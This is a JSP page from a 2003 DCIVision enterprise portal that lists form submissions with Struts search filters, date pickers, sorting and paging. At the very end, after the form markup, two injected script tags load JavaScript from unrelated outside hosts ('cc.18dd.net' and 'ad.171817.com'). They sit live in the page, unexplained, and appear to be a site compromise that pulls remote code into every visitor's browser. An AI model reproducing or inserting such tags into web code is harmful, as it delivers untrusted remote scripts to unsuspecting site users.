<%
/*
 * @(#)ListFormMonitoring.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormMonitoring.jsp

  This is a ListFormMonitoring page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      16/01/2003
    @version            $Revision: 1.23.2.13 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>


<%

   FormGroup formGroup = (FormGroup)request.getAttribute("formGroup");
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formSubmissionList";
  String    navMode = listFormSubmissionForm.getNavMode();

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"form.columnheader.title", "TITLE"},
                            {"form.columnheader.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.form_type","FORM_TYPE"},
                            {"common.label.update_date", "UPDATE_DATE"},
                            {"common.label.updater", "UPDATER_ID"}
                          };


  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.title", "TITLE"}
                          };



  int     COLUMN_OFFSET = 0;
  String returnURL="ListFormSetup.do?function=FORM_MONITOR&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="form/ListFormMonitoring" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="formGroupID" value="<%=formGroup.getID()%>"/>

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<%=formGroup.getGroupName()%>]</font><layout:returnButton>ListFormSetup.do?function=FORM_MONITOR&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></layout:titleFormat>--%>
<!-- Page Title Section End -->
<script language="javascript">
<!--
//Bill add for EIP-1705 start
function validateOpList(frm, sortValue, sortOrder){
  if (frm.fromDate.value!=''&& frm.toDate.value!='') {
    if (compareDate(frm.fromDate, frm.toDate, true) > 0) {
      alert("<bean:message key='errors.form.form_time_can_not_be_greater_than_to_time'/>");
      return false;
    }
  }
  
  OpList(frm,sortValue,sortOrder);
  return false;
}
//Bill add for EIP-1705 end

function OpListCustReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  //frm.searchFormType[2].checked=true;
  OpListReset(frm);
  return false;
}

-->
</script>

<layout:listBar>
<div class="button">
	<layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
</div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap >
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap >
    <bean:message key='common.label.update_date'/>:
    </td>
    <td class="filterPanelItem" nowrap >
    <bean:message key='common.label.period_from'/>:
    <html:datepicker property="fromDate"/>
    </td>
    <td class="filterPanelItem" nowrap >
    <bean:message key='common.label.period_to'/>:<html:datepicker property="toDate"/>
	</td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return validateOpList(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listFormSubmissionForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" checkColumn='false' editLabel='<%=("S".equals(navMode)? "form.label.view":"form.label.view_usage")%>' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="70">
       <logic:permission right='R'>
          <a href="ListFormMonitoringDetail.do?formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&searchFormDisplayType=1"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
          <html:img src='IconEditDisable.gif'  align='absmiddle'/>
       </logic:permission>

      </td>
    <td width="200"><bean:write name='formSubmission' property='title'/></td>
    <td><bean:write name='formSubmission' property='formCode'/></td>
    <td><bean:write name='formSubmission' property='formVersion'/></td>
    <td>
      <%if (Utility.isEmpty(((FormSubmission)formSubmission).getFormDocID())){%>
        <bean:message key="form.label.form_type_html"/>
      <%}%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='formSubmission' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>